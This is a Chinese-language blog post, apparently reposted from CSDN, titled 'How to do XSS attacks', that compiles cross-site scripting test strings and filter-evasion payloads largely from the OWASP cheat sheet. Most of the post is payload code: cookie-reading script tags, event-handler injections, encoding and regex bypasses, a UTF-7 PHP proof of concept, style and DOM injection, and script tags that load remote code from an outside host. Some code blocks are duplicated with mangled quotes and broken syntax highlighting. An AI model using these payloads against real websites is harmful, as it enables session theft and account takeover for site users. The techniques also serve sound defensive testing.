怎樣進行Xss攻擊

http://blog.csdn.net/wangyi_lin/article/details/12560963

一直對xss的理解比較薄弱,今天蛋疼的來整理一下。主要來源於心傷的瘦子大神的教程。這個XSS在現在看來反射型已經窮途末路,因爲瀏覽器會自動過濾掉它。

但是存儲型的XSS危害還是比較大的,滿足XSS要滿足兩個條件,就是輸入和輸出的時候都不存在在過濾,這其實是比較嚴格的。

測試代碼

主要是收集於https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet的一些繞過和用來測試的XSS語句

大神另外還整理了比較全的http://www.wooyun.org/whitehats

符號過濾測試

通常用來測試什麼符號被過濾或者轉義
  1. ;!–”<XSS>=&{()}  
'';!--"<XSS>=&{()}
還有一個複雜一點的,感覺不常用
  1. ’;alert(String.fromCharCode(88,83,83))//  
  2. ‘;alert(String.fromCharCode(88,83,83))//  
  3. “;alert(String.fromCharCode(88,83,83))//  
  4. “;alert(String.fromCharCode(88,83,83))//  
  5. –></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>  
';alert(String.fromCharCode(88,83,83))//
';alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

外網XSS

這個在測試中不常用,通常用來放入xss平臺的上線語句
  1. <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>  
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

基本XSS

基本的XSS插入
  1. <script>alert(document.cookie)</script>  
  2. <script>alert(’XSS’)</script>  
<script>alert(document.cookie)</script>
<script>alert('XSS')</script>

利用回調函數

使用回調函數來觸發XSS
  1. <img src=“xxx” οnerrοr=“alert(‘xxx’)” />  
  2. <BODY ONLOAD=alert(’XSS’)>  
  3. <a οnmοuseοver=”alert(document.cookie)”>xxs link</a>  
<img src="xxx" οnerrοr="alert('xxx')" />
<BODY ONLOAD=alert('XSS')>
<a οnmοuseοver="alert(document.cookie)">xxs link</a>
更多的回調函數類型在這能找到
  1. https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet  
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

JavaScript directive 

這個在很多教程上都出現,但是現在的瀏覽器都封殺了Javascript directive 這個功能
所以現在一些與它相關的xss都無法執行了,不過貌似低版本IE還是可以的
  1. <img src=“javascript:alert(‘XSS’)”>      
  2. <BODY BACKGROUND=”javascript:alert(‘XSS’)”>     
  3. <BGSOUND src=”javascript:alert(‘XSS’);”>     
  4. <LAYER src=”http://xss.ha.ckers.org/a.js”></layer>   
  5. <LINK REL=”stylesheet” href=“javascript:alert(‘XSS’);”>  
  6. <META HTTP-EQUIV=”refresh” CONTENT=“0;url=javascript:alert(‘XSS’);”>  
  7. <IFRAME src=javascript:alert(’XSS’)></IFRAME>  
  8. <FRAMESET><FRAME src=javascript:alert(’XSS’)></FRAME></FRAMESET>  
<img src="javascript:alert('XSS')">    
<BODY BACKGROUND="javascript:alert('XSS')">   
<BGSOUND src="javascript:alert('XSS');">   
<LAYER src="http://xss.ha.ckers.org/a.js"></layer> 
<LINK REL="stylesheet" href="javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
這兩個在IE下好使
  1. <iframe src=“javascrsipt:alert(document.domain);”></iframe>  
  2. <a href=”javascrsipt:alert(document.domain);”>  
<iframe src="javascrsipt:alert(document.domain);"></iframe>
<a href="javascrsipt:alert(document.domain);">
其他腳本的也同樣無法執行
  1. <IMG src=‘vbscript:msgbox(“XSS”)’>  
  2. <IMG src=”mocha:[code]”>  
  3. <IMG src=”livescript:[code]”>  
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[code]">
<IMG src="livescript:[code]">

編碼繞過

Html Characters

html會對屬性中的一些實體字符進行解釋,我們可以用他們來進行一些繞過,比如
  1. <img src=“1” οnerrοr=“alert(1)”>   
<img src="1" οnerrοr="alert(1)"> 
可以轉換成,一般情況下對於& # ;不被過濾的話引號中的內容就可以隨意構造了
也可以用來閉合內容中的引號和括號,也就是說最外層的引號不能閉合,其他隨意搞
  1. <img src=“1” οnerrοr=“&#x61;lert&#x28&#x29”>   
<img src="1" οnerrοr="&#x61;lert&#x28&#x29"> 
有的時候一些正則會使用&#xxx 這樣來對實體字符進行過濾,但是可以用&#00000xxx;這樣的方式來繞過
還有一些危險的實體字符,比如&lt &qoute 洞可以拿來進行繞過

Multi-byte Character

有的時候也可以使用寬字節來進行繞過,這個技巧在sql注入中很常用,如%0c可以吃掉一個反斜槓


Access/Unicode

在一些dom XSS中有時可以用\u00aa  \xaa \aa 這樣的編碼繞過一些關鍵字
  1. <div id=“a”>xxx</div>  
  2. <script>  
  3.   document.getElementById(”a”).innerHTML=“\x3cimg src=1 οnerrοr=alert(1)\u003e”;  
  4. </script>  
<div id="a">xxx</div>
<script>
  document.getElementById("a").innerHTML="\x3cimg src=1 οnerrοr=alert(1)\u003e";
</script>

String.fromCharCode

  1. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>  
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

Utf-7

這個只存在於一些極端的情況,頁面character被設置成utf-7的時候
POC在這裏,不過現在大部分瀏覽器已經修正了這個錯誤,IE依舊可以
  1. <?php   
  2.    
  3. header(’Content-Type: text/html; charset=UTF-7’);   
  4.    
  5. string</span><span>&nbsp;=&nbsp;</span><span class="string">"&lt;script&gt;alert('XSS');&lt;/script&gt;"</span><span>;&nbsp;&nbsp;&nbsp;</span></span></li><li class=""><span><span class="vars"> string = mb_convert_encoding(string</span><span>,&nbsp;</span><span class="string">'UTF-7'</span><span>);&nbsp;&nbsp;&nbsp;</span></span></li><li class="alt"><span>&nbsp;&nbsp;&nbsp;</span></li><li class=""><span><span class="func">echo</span><span>&nbsp;htmlentities(</span><span class="vars"> string);   
  6.    
  7. ?>  
<?php 

header('Content-Type: text/html; charset=UTF-7'); 

$string = "<script>alert('XSS');</script>"; 
$string = mb_convert_encoding($string, 'UTF-7'); 

echo htmlentities($string); 

?>

multi-byte character

這個就是利用多字節編碼的特點來吃掉後面的字符,一般情況下讀到第一個字節是  xx-xx 之內的數值,就確定了後面有幾字節的數據

來共同組成一個字符,後面字符的取值並不重要。這種利用通常在老版本IE下奏效。

正則繞過

主要是一些繞過正則匹配的方法

非遞歸的正則

這裏一般是正則表達式自作一遍過濾,可以這樣進行構造

  1. <scr(script)ipt>xxxxxxx</scr(script)ipt>  
<scr(script)ipt>xxxxxxx</scr(script)ipt>

註釋符截斷

在style注入的情況下,可以用註釋符截斷關鍵字,比如

  1. cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})  
cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

字符截斷

有一些字符在瀏覽器解析的時候會被忽略可以用來繞過正則

經過fuzz,發現只有%00 可以截斷且只在ie下有效

  1. <s%00cript>alert(0);</script>  
<s%00cript>alert(0);</script>

Non-alpha-non-digit XSS

這是利用瞭解釋器的特性,測試了一下chrome和firefox都可以成功,一些符號會被解釋成空格
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace
  1. <SCRIPT/XSS SRC=“http://ha.ckers.org/xss.js”></SCRIPT>  
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
這裏我做了一下fuzz,發現在ie下,chr(9 10 11 12 13 32 47)這幾個符號都是可用的

這裏還有進一步的構造方法,不過我利用失敗了,可以fuzz探測一下

he Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc…) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:
  1. <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>  
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
fuzz一下得知 chr(9) 可以用

us-ascii high bit issue

這個源自於瀏覽器瞎解釋,他會把一些8位的字符直接解釋成7位ascii

poc

  1. %A2%BE%BCscript%BEalert(document.domain);%BC/script%BE  
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE

奇技淫巧

這裏是一些不常見的,不好分類的繞過方法

反斜槓

這也是注入常用的一個技巧,在無法閉合單引號的時候可以使用一個反斜槓轉義掉單引號。
比如
  1. location.href=“………”+“&ss=aaaa”+“&from=bbb”;  
location.href="........."+"&ss=aaaa"+"&from=bbb";
這一句,我們無法閉合掉雙引號的情況下,可以用反斜槓來進行這樣的構造
  1. location.href=“………”+“&ss=aaaa\”+”&from=(yyyyyyy);(xxxxxxxxxxxx邪惡語句)//”;  
location.href="........."+"&ss=aaaa\"+"&from=(yyyyyyy);(xxxxxxxxxxxx邪惡語句)//";

重音符

有重音符代替說引號的說法,
  1. <IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>  
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

在IE低版本下,不會給value等屬性加雙引號,這時候可以用重音符來代替雙引號,來達到跳出雙引號的目的

  1. <input name=“p1” size=“50” value=“ οnmοuseοver=alert(document.domain); >   
<input name="p1" size="50" value=`` οnmοuseοver=alert(document.domain); > 

不合法的格式

  1. <IMG “”“><SCRIPT>alert(“XSS”)</SCRIPT>   
<IMG """><SCRIPT>alert("XSS")</SCRIPT> 

殘缺的格式

是有一些殘缺的格式來進行繞過,主要利用瀏覽器解析的一些特性
  1. <<SCRIPT>alert(“XSS”);//<</SCRIPT>  
  2. <SCRIPT SRC=//ha.ckers.org/.j>  
  3. <IMG SRC=”javascript:alert(‘XSS’)”  
  4. <iframe src=http://ha.ckers.org/scriptlet.html <  
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <


利用情景

sript注入

這種情況輸入被帶入了<script></script>中 或者 onxxxx函數中,這種情況可利用的機率很大。 
比如變量被帶入到如下語句
  1. <script>var a = myxsstestdmqlwpvar b = 123; … </script>   
<script>var a = ''myxsstestdmqlwp''; var b = 123; ... </script> 
構造變量爲
  1. ; alert(document.cookie); var foo=  
''; alert(document.cookie); var foo=''
這種情況要注意。構造不能讓js語法出錯。

在可以任意使用script語句的情況下,可以很靈活的構造xss語句,過濾相對困難
  1. var a=ale“+”rt(1)”;eval(a);  
var a=''ale"+"rt(1)";eval(a);

html標籤注入

有的時候輸入會被顯示在html標籤之中,比如
  1. <input type=“text” value=“烏雲歡迎您” />  
<input type="text" value="烏雲歡迎您" />
這種情況下,如果輸入沒有過濾單引號的話,就可以形成XSS注入了
  1. <input type=“text” value=“烏雲歡迎您” οnclick=“alert(1)” />  
<input type="text" value="烏雲歡迎您" οnclick="alert(1)" />

Style注入

也有一種輸出會在style中,但是現在在style中的注入只能在ie6 ie7 中利用

  1. <div style=“xss:expression(alert(1));”></div>  
<div style="xss:expression(alert(1));"></div>
css中支持\Ascii這樣的方式,如果\沒有被過濾的話,可以用來繞過檢測
  1. <div style=“xss:expr\65ssion(alert(1));”></div>  
<div style="xss:expr\65ssion(alert(1));"></div>
還有另外兩種常見利用格式
  1. background-color:#f00;background:url(“javascript:alert(document.domain);”);  
  2. cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})  
background-color:#f00;background:url("javascript:alert(document.domain);");
cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})


註釋注入

這個如果把用戶輸入輸出到註釋中,也是很危險的事情,用戶可以簡單地用換行跳出註釋
  1. //我是註釋,我愛洗澡,哦~哦~哦~ [我是輸出  換行符  
  2.  alert(1);//我是輸出]  
//我是註釋,我愛洗澡,哦~哦~哦~ [我是輸出  換行符
 alert(1);//我是輸出]

DOM注入

這種情況是輸入出現在,可修改HTML內容的js語句中,比如
  1. <div id=“a”>xxx</div>  
  2. <script>  
  3.   document.getElementById(”a”).innerHTML=“<script defer>alert(1)</script>”;  
  4. </script>  
<div id="a">xxx</div>
<script>
  document.getElementById("a").innerHTML="<script defer>alert(1)</script>";
</script>
再比如
  1. document.write(“xxxxxxxxxxxx”);  
document.write("xxxxxxxxxxxx");
這些語句中的字符串變量有這麼一個比較美麗的特性
\76 \x3c  \u003c 可以在字符串變量中使用,可以用來繞過很多過濾

這裏比較常見的引發Dom Xss的函數如下
  1. document.write()  
  2. document.writeln()  
  3. document.body.innerHtml  
  4. eval()  
  5. window.execScript()  
  6. window.setInterval()  
  7. window.setTimeout()  
document.write()
document.writeln()
document.body.innerHtml
eval()
window.execScript()
window.setInterval()
window.setTimeout()

AJAX注入

有些頁面會顯示出ajax的xml結構的數據,但是這種ajax中轉文件很難找。

JS語言特性

有的時候一些特定的XSS,會涉及到一些js語言的特徵,這裏來整理一下下

變量未定義

對於這種錯誤,JS有一種特性,凡是以 function xxx(){} 形式定義的函數,都會被最優先解析。
也就是說 xxx==‘xxxx’; function xxx(){}這種語句也是可以正確執行的。

反斜槓

通過反斜槓可以吧原本在兩行的字符串連接起來
高級的技術在這裏··還未做整理
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章